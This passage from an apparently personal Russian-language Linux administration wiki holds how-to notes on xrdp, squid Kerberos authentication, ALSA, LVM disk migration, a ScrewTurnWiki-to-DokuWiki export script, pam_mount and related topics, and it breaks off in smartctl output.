			ProfileFile.WriteLine "    <DriverName>wia</DriverName>"
			ProfileFile.WriteLine "    <DisplayName>" & ScanerDevName & "</DisplayName>"
			ProfileFile.WriteLine "    <IconID>0</IconID>"
			ProfileFile.WriteLine "    <MaxQuality>false</MaxQuality>"
			ProfileFile.WriteLine "    <IsDefault>true</IsDefault>"
			ProfileFile.WriteLine "    <Version>1</Version>"
			ProfileFile.WriteLine "    <UseNativeUI>false</UseNativeUI>"
			ProfileFile.WriteLine "    <AfterScanScale>OneToOne</AfterScanScale>"
			ProfileFile.WriteLine "    <Brightness>0</Brightness>"
			ProfileFile.WriteLine "    <Contrast>0</Contrast>"
			ProfileFile.WriteLine "    <BitDepth>C24Bit</BitDepth>"
			ProfileFile.WriteLine "    <PageAlign>Left</PageAlign>"
			ProfileFile.WriteLine "    <PageSize>Letter</PageSize>"
			ProfileFile.WriteLine "    <Resolution>Dpi200</Resolution>"
			ProfileFile.WriteLine "    <PaperSource>Glass</PaperSource>"
			ProfileFile.WriteLine "  </ExtendedScanSettings>"
		End If
	Next
End If
Next
ProfileFile.WriteLine "</ArrayOfExtendedScanSettings>"
ProfileFile.Close

настройка_xrdp_для_переподключения_сессии

anonymous@undisclosed.example.com (Anonymous) — Thu, 02 Apr 2020 15:19:39 +0000

Настройка xrdp на Ubuntu 18.04

Протестировано на Ubuntu Server 18.04 + KDE.

sudo apt-get install -y xrdp 
sudo service xrdp restart

В принципе всё - можно подключаться.
В первом пункте меню при подключении нужно выбрать Xorg (выбран по дефолту). Переподключение к существующей сессии работает сразу.
Чтобы убрать из меню при входе лишние пункты нужно отредактировать /etc/xrdp/xrdp.ini. Примерно так:

[Globals]
ini_version=1
fork=true
port=3389
use_vsock=false
tcp_nodelay=true
tcp_keepalive=true
#tcp_send_buffer_bytes=32768
#tcp_recv_buffer_bytes=32768
security_layer=negotiate
crypt_level=high
certificate=
key_file=
ssl_protocols=TLSv1, TLSv1.1, TLSv1.2
autorun=
allow_channels=true
allow_multimon=true
bitmap_cache=true
bitmap_compression=true
bulk_compression=true
hidelogwindow=true
max_bpp=32
new_cursors=true
use_fastpath=both
blue=009cb5
grey=dedede

; Login Screen Window Title
ls_title=RDLEAS

; top level window background color in RGB format
ls_top_window_bg_color=009cb5

; width and height of login screen
ls_width=350
ls_height=430

; login screen background color in RGB format
ls_bg_color=dedede

; optional background image filename (bmp format).
#ls_background_image=

; logo
; full path to bmp-file or file in shared folder
ls_logo_filename=
ls_logo_x_pos=55
ls_logo_y_pos=50

; for positioning labels such as username, password etc
ls_label_x_pos=30
ls_label_width=60

; for positioning text and combo boxes next to above labels
ls_input_x_pos=110
ls_input_width=210

; y pos for first label and combo box
ls_input_y_pos=220

; OK button
ls_btn_ok_x_pos=142
ls_btn_ok_y_pos=370
ls_btn_ok_width=85
ls_btn_ok_height=30

; Cancel button
ls_btn_cancel_x_pos=237
ls_btn_cancel_y_pos=370
ls_btn_cancel_width=85
ls_btn_cancel_height=30

[Logging]
LogFile=xrdp.log
LogLevel=INFO
EnableSyslog=true
SyslogLevel=INFO
; LogLevel and SysLogLevel could by any of: core, error, warning, info or debug

[Channels]
rdpdr=true
rdpsnd=true
drdynvc=true
cliprdr=true
rail=true
xrdpvr=true
tcutils=true

[Xorg]
name=Xorg
lib=libxup.so
username=ask
password=ask
ip=127.0.0.1
port=-1
code=20

Если не переключается раскладка клавиатуры

Также, чтобы нормально переключались раскладки клавиатуры после переподключения к уже запущенной сессии (проблема описана тут), нужно отредактировать файлик /etc/xrdp/xrdp_keyboard.ini.
Нужно отредактировать секцию [default_layouts_map] и пару строк привести к такому виду:

[default_layouts_map]
rdp_layout_us=us,ru
rdp_layout_ru=us,ru

а в конец файла добавить:

[rdp_keyboard_ru]
keyboard_type=4
keyboard_subtype=1
model=pc104
options=grp:alt_shift_toggle
rdp_layouts=default_rdp_layouts
layouts_map=layouts_map_ru

[layouts_map_ru]
rdp_layout_us=us,ru
rdp_layout_ru=us,ru

Переподключение к сессии после рестарта сервиса xrdp

В версии xrdp, которая поставляется с Ubuntu 18.04, если во время рестарта сервиса были подключены сессии - переподключиться к ним не удается!
Проблема описана тут: https://github.com/neutrinolabs/xrdp/issues/800
А тут предложено решение: https://github.com/ben-cohen/xrdp/commit/5ff8fb8a959dce9d182007a2abf145df6559c87a

То что написано ниже - уже не актуально

Настраиваем xrdp с возможностью переподключения к существующей сессии

Хорошая штука xrdp - дает возможность подключаться c windows машин к linux машине по протоколу RDP. Однако, xrdp версии 0.6.0, входящий в состав репозиторя Ubuntu 14.04 вский раз при подключении пользователя создает новую сессию. Такое происходит из-за входящего в состав xrdp сервера vnc. Чтобы работало переподключение необходимо установить связку xrdp+X11vnc. Работающее решение нашлось тут: http://c-nergy.be/blog/?p=3546

Сначала ставим и удаляем штатный xrdp, чтобы создались конфирурационные файлы:

sudo apt-get install xrdp && sudo apt-get remove xrdp

Потом ставим зависимости для сборки последней версии:

sudo apt-get install autoconf libtool libpam0g-dev libx11-dev libxfixes-dev libssl-dev

И устанавливаем X11vnc:

sudo apt-get install x11vnc

Скачиваем и распаковываем последнюю версию xrdp с sourceforge:

wget http://netassist.dl.sourceforge.net/project/xrdp/xrdp/0.6.1/xrdp-v0.6.1.tar.gz
tar -xvf ./xrdp-v0.6.1.tar.gz 
cd xrdp-v0.6.1

Собираем и устанавливаем:

sudo ./bootstrap 
sudo ./configure
sudo make
sudo make install

Настраиваем xrdp:

cd /etc/xrdp/
sudo mv startwm.sh startwm.sh.backup
sudo ln -s /etc/X11/Xsession /etc/xrdp/startwm.sh
sudo mkdir /usr/share/doc/xrdp
sudo cp /etc/xrdp/rsakeys.ini /usr/share/doc/xrdp/rsakeys.ini

Также заменяем скрипт, запускающий xrdp:

sudo cp /etc/init.d/xrdp /etc/init.d/xrdp.orig
sudo chmod a-x /etc/init.d/xrdp.orig
sudo nano /etc/init.d/xrdp

И вставляем туда вот что:

#!/bin/sh -e
#
# start/stop xrdp and sesman daemons
#
### BEGIN INIT INFO
# Provides:          xrdp
# Required-Start:    $network $remote_fs
# Required-Stop:     $network $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start xrdp and sesman daemons
# Description:       XRDP uses the Remote Desktop Protocol to present a
#                    graphical login to a remote client allowing connection
#                    to a VNC server or another RDP server.
### END INIT INFO

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/local/sbin/xrdp
PIDDIR=/var/run
SESMAN_START=yes
USERID=xrdp
RSAKEYS=/etc/xrdp/rsakeys.ini
NAME=xrdp
DESC="Remote Desktop Protocol server"

test -x $DAEMON || exit 0

. /lib/lsb/init-functions

check_root()  {
    if [ "$(id -u)" != "0" ]; then
        log_failure_msg "You must be root to start, stop or restart $NAME."
        exit 4
    fi
}

if [ -r /etc/default/$NAME ]; then
   . /etc/default/$NAME
fi

# Tasks that can only be run as root
if [ "$(id -u)" = "0" ]; then
    # Check for pid dir
    if [ ! -d $PIDDIR ] ; then
        mkdir $PIDDIR
    fi
    chown $USERID:$USERID $PIDDIR

    # Check for rsa key 
    if [ ! -f $RSAKEYS ] || cmp $RSAKEYS /usr/share/doc/xrdp/rsakeys.ini > /dev/null; then
        log_action_begin_msg "Generating xrdp RSA keys..."
        (umask 077 ; xrdp-keygen xrdp $RSAKEYS)
        chown $USERID:$USERID $RSAKEYS
        if [ ! -f $RSAKEYS ] ; then
            log_action_end_msg 1 "could not create $RSAKEYS"
            exit 1
        fi
        log_action_end_msg 0 "done"
    fi
fi

case "$1" in
  start)
        check_root
        exitval=0
        log_daemon_msg "Starting $DESC " 
        if pidofproc -p $PIDDIR/$NAME.pid $DAEMON > /dev/null; then
            log_progress_msg "$NAME apparently already running"
            log_end_msg 0
            exit 0
        fi
        log_progress_msg $NAME
        start-stop-daemon --start --quiet --oknodo  --pidfile $PIDDIR/$NAME.pid \
	    --chuid $USERID:$USERID --exec $DAEMON
        exitval=$?
	if [ "$SESMAN_START" = "yes" ] ; then
            log_progress_msg "sesman"
            start-stop-daemon --start --quiet --oknodo --pidfile $PIDDIR/xrdp-sesman.pid \
	       --exec /usr/local/sbin/xrdp-sesman
            value=$?
            [ $value -gt 0 ] && exitval=$value
        fi
        # Make pidfile readables for all users (for status to work)
        [ -e $PIDDIR/xrdp-sesman.pid ] && chmod 0644 $PIDDIR/xrdp-sesman.pid
        [ -e $PIDDIR/$NAME.pid ] && chmod 0644 $PIDDIR/$NAME.pid
        # Note: Unfortunately, xrdp currently takes too long to create
        # the pidffile unless properly patched
        log_end_msg $exitval
	;;
  stop)
        check_root
	[ -n "$XRDP_UPGRADE" -a "$RESTART_ON_UPGRADE" = "no" ] && {
	    echo "Upgrade in progress, no restart of xrdp."
	    exit 0
	}
        exitval=0
        log_daemon_msg "Stopping RDP Session manager " 
        log_progress_msg "sesman"
        if pidofproc -p  $PIDDIR/xrdp-sesman.pid /usr/local/sbin/xrdp-sesman  > /dev/null; then
            start-stop-daemon --stop --quiet --oknodo --pidfile $PIDDIR/xrdp-sesman.pid \
                --chuid $USERID:$USERID --exec /usr/local/sbin/xrdp-sesman
            exitval=$?
        else
            log_progress_msg "apparently not running"
        fi
        log_progress_msg $NAME
        if pidofproc -p  $PIDDIR/$NAME.pid $DAEMON  > /dev/null; then
            start-stop-daemon --stop --quiet --oknodo --pidfile $PIDDIR/$NAME.pid \
	    --exec $DAEMON
            value=$?
            [ $value -gt 0 ] && exitval=$value
        else
            log_progress_msg "apparently not running"
        fi
        log_end_msg $exitval
	;;
  restart|force-reload)
        check_root
	$0 stop
        # Wait for things to settle down
        sleep 1
	$0 start
	;;
  reload)
        log_warning_msg "Reloading $NAME daemon: not implemented, as the daemon"
        log_warning_msg "cannot re-read the config file (use restart)."
        ;;
  status)
        exitval=0
        log_daemon_msg "Checking status of $DESC" "$NAME"
        if pidofproc -p  $PIDDIR/$NAME.pid $DAEMON  > /dev/null; then
            log_progress_msg "running"
            log_end_msg 0
        else
            log_progress_msg "apparently not running"
            log_end_msg 1 || true
            exitval=1
        fi
	if [ "$SESMAN_START" = "yes" ] ; then
            log_daemon_msg "Checking status of RDP Session Manager" "sesman"
            if pidofproc -p  $PIDDIR/xrdp-sesman.pid /usr/local/sbin/xrdp-sesman  > /dev/null; then
                log_progress_msg "running"
                log_end_msg 0
            else
                log_progress_msg "apparently not running"
                log_end_msg 1 || true
                exitval=1
            fi
        fi
        exit $exitval
        ;;
  *)
	N=/etc/init.d/$NAME
	echo "Usage: $N {start|stop|restart|force-reload|status}" >&2
	exit 1
	;;
esac

exit 0

Редактируем /etc/xrdp/xrdp.ini

sudo nano /etc/xrdp/xrdp.ini

и приводим его к такому виду:

[globals]
bitmap_cache=yes
bitmap_compression=yes
port=3389
crypt_level=low
channel_code=1
max_bpp=24
#black=000000
#grey=d6d3ce
#dark_grey=808080
#blue=08246b
#dark_blue=08246b
#white=ffffff
#red=ff0000
#green=00ff00
#background=626c72

[xrdp1]
name=sesman-Xvnc
lib=libvnc.so
username=ask
password=ask
ip=127.0.0.1
port=-1

Если на вашей Ubuntu используется KDE, то

echo  "startkde" > ~/.xsession

Если на вашей Ubuntu используется gnome, то надо отключить богатую графику:

sudo apt-get install gnome-session-fallback
echo  "gnome-session – -session=gnome-fallback" > ~/.xsession

Теперь запускаем xrdp, подключаемся и радуемся

sudo /etc/init.d/xrdp start

настройка_аутентификации_kerberos_для_сервиса_systemd

anonymous@undisclosed.example.com (Anonymous) — Thu, 19 Nov 2020 20:22:22 +0000

Задача

Мне нужно настроить squid в качестве промежуточного прокси, чтобы он принмал запросы от клиентов и перенапрвлял их на вышестоящий прокси, который требует аутентифкации по протоколу Kerberos.

Реализация

Мой Squid работает на Ubuntu 20.04, которая введена в домен с помощью samba, то есть файл /etc/krb5.conf уже настроен и DOMAIN.LOCAL прописан в нем как default realm.
Создадим keytab с помощью утилиты ktutil:

$ ktutil
ktutil:  addent -password -p user.name@DOMAIN.LOCAL -k 1 -e RC4-HMAC
Password for user.name@DOMAIN.LOCAL: 
ktutil:  wkt keytab.file.name
ktutil:  q

В результате - в текущей директории будет файл с хешем пароля пользователя, от имени которого squid будет аутентифицироваться на вышестоящем upstream parent proxy.
Дальше - скопируем этот файл в директорию сквида и дадим ему прав на чтение этого файла:

sudo cp ./keytab.file.name /etc/squid/
sudo chown proxy:proxy /etc/squid/keytab.file.name

Теперь в конфиге сквида нужно прописать parent proxy:

cache_peer parent-proxy.domain.local parent 3128 0 no-query default login=NEGOTIATE

Или, если вышестоящий прокси не умеет digest и netdb-exchange

cache_peer srv-proxy.rdleas.ru parent 3128 0 default no-query no-digest no-netdb-exchange login=NEGOTIATE

Тип аутентификации задается выражением login=NEGOTIATE.
Теперь нужно указать сквиду где ему брать keytab. Для этого в его окружении должна прописаться переменная KRB5_KTNAME, значение которой - это путь до keytab-файла.
В Ubuntu сервисы запускает systemd, поэтому создаю файл /etc/systemd/system/squid.service.d/krb.conf с таким содержимым:

[Service]
Environment="KRB5_KTNAME=/etc/squid/keytab.file.name"

Всё. Обновляем конфигурацию systemd и перезапускаем squid:

sudo systemctl daemon-reload
sudo service squid restart

Если что-то идет не так, то добавляем в конфиг такое:

debug_options ALL,2

И читаем лог. Логи работы с parent proxy будут в /var/log/squid/cache.log

настройка_звука_в_ubuntu_14_04_kde

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

ALSA

ALSA включена в стандартную сборку ядра
Конфигурационные файлы alsa находятся в папке /usr/share/alsa/ Они входят в пакет libasound2-data. Поэтому если вдруг в результает настоек что-то повредится и будут ошибки типа:

ALSA lib conf.c:3707:(snd_config_update_r) Cannot access file /usr/share/alsa/alsa.conf
ALSA lib control.c:953:(snd_ctl_open_noupdate) Invalid CTL hw:0
aplay: device_list:277: control open (0): No such file or directory

То нужно просто переустановить подсистему ALSA:

rm -r ~/.pulse ~/.asound* 
sudo rm /etc/asound.conf
sudo apt-get update
sudo apt-get upgrade
sudo apt-get purge linux-sound-base alsa-base alsa-utils
sudo apt-get install linux-sound-base alsa-base alsa-utils gdm ubuntu-desktop
sudo apt-get install --reinstall libasound2-data

Устройства для вывода звука могут быть заданы для пользователя

nano ~/.asoundrc

или для системы вцелом

sudo nano /etc/asound.conf

В самом простом случае, если в системе одна звуковая карта, то /etc/asound.conf будет выглядеть так:

pcm.!default {
    type hw
    card 0
}

ctl.!default {
    type hw           
    card 0
}

Получить список звуковых карт можно командой:

aplay -l

Если не удается получить список звуковых карт и выводится только строка List of PLAYBACK Hardware Devices , возможно, у пользователя просто нет прав на это.Для того, чтобы права были нужно включить пользователя в группу audio:

sudo gpasswd -a $USER audio

обнаружение-hdd-без-перезагрузки

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

ВАЖНО! диск не должен быть смонтирован!

В данном случае /dev/sr0 это наше устройство. Оно может быть и /dev/sda и др.

Обнаруживаем контроллер:

# readlink /sys/block/sr0
../devices/pci0000:00/0000:00:1f.2/host1/target1:0:0/1:0:0:0/block/sr0

Тут контроллер - это host1
Отключаем устройство:

# echo 1 > /sys/block/sr0/device/delete

Устройство отключится от шины. Увидеть что это так можно с помощью dmesg
Сканируем снова!

# echo "- - -" > /sys/class/scsi_host/host1/scan

С помощью dmesg можно увидеть, что диск нашелся!

обновление-виртуальнои-машины-xenserver-5-5-debian-5-lenny-до-debia ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Here is what I just did step-by-step

1) Backup! I take no responsability if this would break your system.

2) Update to Debian 5.0.9
# apt-get update
# apt-get upgrade
# reboot
3) # nano -w /etc/apt/sources.list
Change lenny to squeeze. Comment out the two volatile lines. They seem not to be used anymore.

4) Update to Debian 6
# apt-get update
# apt-get upgrade
During installation:
“Services to restart for PAM library upgrade": If cron is deafult - use this.
If /etc/console-tools/config has changed - Keep your change with N (default)

# apt-get install linux-image-2.6.32-5-686-bigmem
# apt-get install udev
During installation:
“Services to restart for GNU lib library upgrade": If cron is default - choose this

# reboot
5) # apt-get dist-upgrade

During installation:
“Use dash as the default system shell /bin/sh": Your choice - default is Yes.
“Chainload from menu.lst" - No ←—————————————————————————– THIS IS NOT DEFAULT. When I used YES my VM didn't boot.
“Migrate legacy boot sequencing to dependency-based sequencing” - Your choice - default is Yes.
“Configuring grub-pc: “Linux command line:”; console=hvc0 is OK.

# upgrade-from-grub-legacy
During installation:
GRUB install devices: Choose /dev/xvda with Space and OK.
DO NOT DELETE menu.lst

# reboot
If you install XenServer Tools you will downgrade your version and this is not recommended. Keep the latest one from step 2 in this guide. If you reinstall them just upgrade them to the latest with
# apt-update ; apt-get upgrade Don't forget to reboot after any XenServer Tools installation.

Дальше можно обновиться и до Wheezy

После чего можно обновить список репозиториев, для этого везде где встречаем в файле /etc/apt/sources.list squeeze (stable) необходимо заменить на wheezy (testing).

Далее не забываем обновить информацию о доступных пакетах в наших репозиториях:
bash:

aptitude update

Следующим нашим шагом будет обновление менеджеров пакетов, которые в процессе установки и обновление последующего софта должны работать, как пологается в Debian Wheezy (Testing):
bash:

aptitude install apt aptitude dpkg

Теперь можно обновить и весь дистрибутив:
bash:

aptitude dist-upgrade

После чего для уверенности в полном обновлении можно сделать:
bash:

aptitude full-upgrade

После всей установки, возможно, что некоторый софт используемый до обновления окажется удаленным, для его использования, просто необходимо его установить по новой через менеджер пакетов (переживать не стоит, если не удаляли конфиги, то все настройки остануться неизменными и переустановки не будет заметно

отключаем-recordfail-в-grub

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Чтобы в случае зависания и последующей жесткой перезагрузки Ubuntu не останавливалась на меню GRUB нужно отключить recordfail.
Эта функция позволяет отследить некорректное завершение загрузки и предотвратить циклическую перезагрузку, останавливая таймер в меню GRUB.
Для того чтобы отключить recordfail редактируем файл /etc/grub.d/00_header. В нем находим кусочек, который формирует проверку recordfail:

make_timeout ()
{
    cat << EOF
if [ "\${recordfail}" = 1 ]; then
  set timeout=${GRUB_RECORDFAIL_TIMEOUT:--1}
else
  set timeout=${2}
fi
EOF
}

Заменяем set timeout=${GRUB_RECORDFAIL_TIMEOUT:–1} на set timeout=0:

make_timeout ()
{
    cat &lt;&lt; EOF
if [[ "\${recordfail}" = 1 ]]; then
  set timeout=0 
else
  set timeout=${2}
fi
EOF
}

Для того чтобы изменения вступили в силу - запускаем обновление скриптов GRUB:

sudo update-grub

Проверить и убедиться что recordfail отключен можно просмотрев файл /boot/grub/grub.cfg. Например так:

cat /boot/grub/grub.cfg | grep -C 5 terminal_output

отключение-ipv6-в-ubuntu

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Для отключения IPV6 в Ubuntu надо в файл /etc/sysctl.conf добавить строки:

#disable ipv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1

перегрев_ryzen_и_последствия

anonymous@undisclosed.example.com (Anonymous) — Mon, 23 Feb 2026 11:58:17 +0000

Я считал нечто на своем AMD Ryzen AI 9 HX 370 w/ Radeon 890M в 24 потока, он был загружен на 100% с профилем performance и при температуре ~90C и через несколько часов ноут вырубился.
После включения - проц работал на частоте 600Mhz независимо от профилей питания.
Оказалось - ушел в защиту от перегрева.
Понять что это именно защита от перегрева можно по логу ядра и словам prochot:

dmesg | grep -i "prochot"

Процессор выставляет флаг BD_PROCHOT и отказывается работать на большей, чем аварийные 600Mhz, частоте.
Посмотреть троттлит ли проц можно так:

for DEV in /sys/class/thermal/cooling_device*; do cat ${DEV}/cur_state; done

Везде где не 0 - там троттлинг

Управлять состоянием BD_PROCHOT можно налету с помощью утилит wrmsr/rdmsr

sudo wrmsr 0xC0010003 0x0
sudo rdmsr 0xC0010003

Но адрес регистра зависит от модели

переезд-linux-а-диск-lvm-меньшего-объема-debian

anonymous@undisclosed.example.com (Anonymous) — Tue, 30 Jul 2019 12:22:09 +0000

Задача - переместить систему Ubuntu/Debian на диск меньшего объема.
Переезд на диск меньшего объема происходит так:
1. Подключаем оба диска к системе и загружаемся с Live CD
2. Предполагается что на старом диске у нас два раздела - первый загрузочный, второй - для LVM. Создаем на новом диске загрузочный раздел и раздел, который будет PV для LVM. Старый диск у нас /dev/sda, новый - /dev/sdb
Копируем целиком таблицу разделов:

sfdisk -d /dev/sda | sfdisk --force /dev/sdb

Удаляем второй раздел (просто тот раздел что мы скопировали со старого диска выходит за пределы носителя) и создаем его максимального размера и назначаем ему тип 8e - Linux LVM:

echo -e "\nd\n2\nn\np\n2\n\n\nt\n2\n8e\nw\nx" | fdisk /dev/sdb

Переносим загрузочный раздел с помощью dd:

dd if=/dev/sda1 of=/dev/sdb1

Создаем на /dev/sdb2 физический том LVM:

pvcreate /dev/sdb2

На всякий случай перед изменением размера файловой системы проверяем ее на наличие ошибок (у нас тут debian):

fsck -f /dev/mapper/debian-root

Уменьшаем размер файловой системы.
Тут важно следить за размером. У меня новый диск - 5Gb. На нем помещаются загрузочный раздел - 255Mb и остальное - LVM. В LVM два тома - один debian-root и его размер надо уменьшить, а второй - debian-swap и у меня он 2Gb - его размер оставляем. При этом - сумма размеров этих томов не должна превышать объем диска. Лучше потом увеличить размер тома debian-root до максимума. У меня swap - 2Gb, корневой 255Mb, значит на новый том debian-root остается 5000Mb - 2255Mb =~ 2700Mb

resize2fs /dev/mapper/debian-root 2700M

Дальше мы уменьшаем размер тома debian-root до размера, чуть большего, чем размер его файловой системы, который теперь - 2700M. Так как надо указать НА сколько мы уменьшаем, то надо узнать текущий размер с помощью команды lvdisplay:

lvresize -L-46000M /dev/mapper/debian-root

Затем мы присоединяем к группе томов debian новый раздел:

vgextend debian /dev/sdb2

перемещаем данные:

pvmove /dev/sda2 /dev/sdb2

При этом может оказатьтся что на новом разделе не хватает места. Это будет вот такая ошибка:

Insufficient free space: 1223 extents needed, but only 1218 available
  Unable to allocate mirror extents for pvmove0.
  Failed to convert pvmove LV to mirrored

В этом случае надо еще немного уменьшить размер тома debian-root командой

lvresize -L-20M /dev/mapper/debian-root

изымаем старый раздел:

vgreduce debian /dev/sda2

А затем можно увеличить размер файловой системы на томе debian-root до максимума:

resize2fs /dev/mapper/debian-root

перенос-данных-из-screw-turnwiki-в-dokuwiki

anonymous@undisclosed.example.com (Anonymous) — Thu, 06 Jun 2019 09:41:16 +0000

Как мигрировать

Нужно извлечь данные из ScrewTurnWiki, разложить страницы в текстовые файлы и потом импортировать эти файлы в DokuWiki. Требования к файлам: имена без пробелов и только в нижнем регистре, расширение .txt. Разметка dokuwiki.

Извлекаем содержимое страниц

Вот код на Go для того, чтобы извлечь содержимое страниц, сохранить его в виде файлов с именами - названиями страниц и разложить по папкам с именами namespaces.

package main                                                                                                                                                                                    
import (
"code.google.com/p/odbc"
"database/sql"
"fmt"
"log"
"strings"
"os"                                                                                      
)                                                                                             
var (                                                                                         
    title       string                                                                        
    content     string                                                                        
    query       string                                                                        
    pagename    string                                                                        
    filename    string                                                                        
    namespace   string                                                                        
)
func main() {
    db, err := sql.Open("odbc", "DRIVER=FreeTDS;SERVER=192.168.122.169;UID=screw;PWD=password;DATABASE=screw;TDS_Version=8.0;PORT=1433;")
    if err != nil {
        fmt.Println("Error in connect DB")
        log.Fatal(err)
    }
    query = "select Page, Namespace, Content from dbo.PageContent  where Revision = -1"
    rows, err := db.Query(query)
    if err != nil {
        log.Fatal(err)
    }
    for rows.Next() {
        if err := rows.Scan(&pagename, &namespace, &content); err != nil {
            log.Fatal(err)
        }
//              fmt.Println(pagename)
//      fmt.Println(content)
        filename= strings.ToLower("/home/mike/wiki/test/" + namespace)
        os.Mkdir (filename, 0777)
        filename= strings.ToLower("/home/mike/wiki/test/" + namespace + "/" + pagename)
        fo, err := os.Create(filename)
        if err != nil {
                panic(err)
        }
        if _, err := fo.WriteString("##PAGE##\n" + content); err != nil {
            panic(err)
        }
        defer fo.Close()
    }
    defer rows.Close()
}

Конвертация

Конвертер разметки: screwturn-to-dokuwiki-converter.rar
Ставим то что нужно для сборки:

apt-get install --assume-yes bison build-essential curl flex g++

Даем права на запуск makeit.sh и testit.sh.
Собираем:

./makeit.sh

тестируем:

./testit.sh

(выдаст результат в compilatorMy.out)

Конвертируем:

find ./test3/ -type f -name "*" -exec ./a.out {} {}.txt \;  -print

Удаляем файлы без расширения txt:

find ./test3/ -type f ! -name "*.txt" -exec rm {} \;  -print

Архивируем и переносим на хост с DokuWiki.

Импорт в dokuwiki

Сначала даем права на файлы.

С помощью плагина Searchindex Manager импортируем страницы в DokuWiki

после-обновления-системы-yum-update-не-запускается-openvz-run ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

В руководстве по OpenVZ написано, что для обновления достаточно выполнить:

yum update

Все обновляется, НО после обновления контейнеры OpenVZ не стартуют.
В логах написано: Running kernel is not an OpenVZ kernel

Что же делать?
Нужно выполнить:

yum reinstall vzkernel

Перезагрузиться и все вернется!

чвв
в

при-использовании-в-стартап-скриптах-screen-говорит-чт� ...

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Это происходит потому что screen хочет терминал. ЧТобы он не хотел терминал есть две опции:

 -m   causes screen  to  ignore  the  $STY  environment  variable.  With
        "screen  -m"  creation  of  a  new session is enforced, regardless
        whether screen is called from within  another  screen  session  or
        not.  This  flag has a special meaning in connection with the `-d'
        option:

   -d -m   Start screen in "detached" mode. This creates a new session but
           doesn't  attach  to  it.  This  is  useful  for  system startup
           scripts.

Я использую обычно -d -m.

принудительная-перезагрузка-linux

anonymous@undisclosed.example.com (Anonymous) — Thu, 30 Jan 2020 19:51:53 +0000

Принудительная перезагрузка Linux

Иногда бывает что нужно удалено перезагрузить спятивший компьютер.
Проблема в том что хотя ядро работает однако, например, умер раздел swap или какой нибудь зависший процесс ввода-вывода блокирует все попытки стандартной команды reboot.
Ну что же придётся попросить ядро напрямую.

Принудительная перезагрузка

echo 1 > /proc/sys/kernel/sysrq && echo b > /proc/sysrq-trigger

Принудительное выключение

echo 1 > /proc/sys/kernel/sysrq
echo o > /proc/sysrq-trigger

Ну а дальше будем надеяться что ребут вернет жизнь в компьютер и можно будет спокойно разобраться почему он спятил.

Вот говорят еще и так можно:

sudo init 6

проблемы_с_pam_mount

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:27 +0000

Я часто пользуюсь pam_mount и тут я собрал наиболее часто возникающие ошибки. Для того, чтобы включить вывод debug-сообщений нужно отредактировать /etc/security/pam_mount.conf.xml

sudo nano /etc/security/pam_mount.conf.xml

И в строке <debug enable=“0” /> 0 нужно заменить на 1 или 2. Логи будут писаться в /var/log/auth.log

Проверять текущее состояние удобно с помощью команды:

su -l $USER

В результате ее выполнения создается еще одна сессия с текущим пользователем и pam_mount отрабатывает.

No volumes to umount

Первая проблема, с которой обычно сталкиваешься это сообщения типа:

(pam_mount.c:709): No volumes to umount

При этом, в пользовательском файлике ~/.pam_mount.conf.xml монтируемые шары прописаны.
Скорее всего, в файлике /etc/security/pam_mount.conf.xml не раскомментирована строка <luserconf name=“.pam_mount.conf.xml” />,
В результате пользовательский конфигурационный файл не читается и никаких volumes to mount нет.

Ресурсы не монтируются без видимых причин

Для того, чтобы модуль работал корректно, нужно отредактировать файл /etc/pam.d/common-session.
По-умолчанию, модуль pam_mount.so имеет флаг optional и располагается в файле /etc/pam.d/common-session после модуля pam_lsass.so, который имеет флаг sufficient.
Таким образом модуль опциональный модуль pam_mount.so игнорируется, при корректном прохождении достаточного для аутентификации модуля pam_lsass.so.
Чтобы монтирование работало корректно нужно поставить строчку session optional pam_mount.so перед строкой с pam_lsass.so

reenter password for pam_mount:

При монтировании pam_mount просит ввести пароль.
Во-первых можно отключить ввод пароля с помощью опции disable_interactive в файлах /etc/pam.d/common-auth и /etc/pam.d/common-session. ее нужно указать в после названия модуля pam_mount.so через пробел. Примерно так:

session optional        pam_mount.so disable_interactive

Однако, это актуально если пароль у учетной записи пустой и такая настройка может привести к тому, что пароль не спрашивается, но и ресурсы не монтируются с сообщениями типа:

mount error(13): Permission denied

mount error(13): Permission denied

Чтобы все работало правильно нужно в файлике /etc/pam.d/common-auth вставить auth optional pam_mount.so перед pam_lsass.so. Примерно так:

auth optional pam_mount.so
auth    [success=2 default=ignore]      pam_lsass.so try_first_pass
auth    [success=1 default=ignore]      pam_unix.so nullok_secure try_first_pass

ремап-remap-сбоиных-секторов-диска-bad-blocks-в-linux

anonymous@undisclosed.example.com (Anonymous) — Mon, 30 Jan 2023 17:39:51 +0000

Самотестирование диска с помощью smartctl

Устанавливаем необходимый пакет smartmontools

sudo apt-get install smartmontools

Существуют два вида тестов - foreground (когда диск в ответ на все команды имеет статус CHECK CONDITION) и background - когда диск остается работоспособным.
Тесты бывают short и long.
Short - ограничен по времени и тестирует только часть диска.
Long - аналогичен финальному тестированию на производстве, не ограничен по времени и тестирует весь диск.

Запускаем “длинный” тест, который можно запускать прямо во время работы системы:

sudo smartctl -t long /dev/sdb

Узнать сколько времени займет тот или иной тест можно командой:

sudo smartctl -c /dev/sdc
  ...
Self-test execution status:      ( 249) Self-test routine in progress...
                                        90% of test remaining.
Total time to complete Offline 
data collection:                ( 1211) seconds.
  ...

После того как он закончится смотрим результат с помощью команды smartctl -l selftest /dev/sdb:

sudo smartctl -l selftest /dev/sdb
smartctl 5.40 2010-07-12 r3124 [x86_64-unknown-linux-gnu] (local build)
Copyright (C) 2002-10 by Bruce Allen, http://smartmontools.sourceforge.net

=== START OF READ SMART DATA SECTION ===
SMART Self-test log structure revision number 1
